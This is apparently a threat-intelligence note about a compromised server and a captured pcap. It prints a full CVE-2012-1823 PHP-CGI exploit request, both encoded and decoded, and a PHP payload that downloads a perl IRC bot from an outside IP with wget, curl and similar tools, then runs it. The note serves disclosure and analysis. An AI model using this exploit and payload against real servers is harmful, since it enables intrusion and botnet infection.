@LeaseWeb (NL) 94.75.193.139 is compromised and is leading to IRC perl bot. Port 80 is Plesk control panel.
From pcap received from 94.75193.139 (Snort alerted on PHP php-cgi Query String Parameter Parsing Vulnerability - CVE-2012-1823)
POST /?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
decoded
/?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n
Other info
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded Content-Length: 271 Connection: close
?php=set_time_limit(0);=system("cd /var/tmp/;rm -rf d1*;killall -9 perl;wget http://93.174.4.12/xmrl/d1e.txt; curl -O http://93.174.4.12/xmrl/d1e.txt; lwp-download http://93.174.4.12/xmrl/d1e.txt; fetch http://93.174.4.12/xmrl/d1e.txt;perl d1e.txt;rm -rf d1e.txt");?>
Using Malzilla, retrieved d1e.txt. It is a perl based IRC bot.
jsunpack - http://jsunpack.jeek.org/?report=73ec8466d77caffcbf737b2e40083893d6c9975d
93.174.4.12 is hosting the IRC bot and is known bad boy - VT - https://www.virustotal.com/en/ip-address/93.174.4.12/information/
reverse DNS = sb.interdominios.com - http://www.interdominios.com/ @Interdominios
https://ipdb.at/ip/93.174.4.12
Anubis - http://anubis.iseclab.org/?action=result&task_id=1fd8abe959cdb863411fdecf4b286d1c9
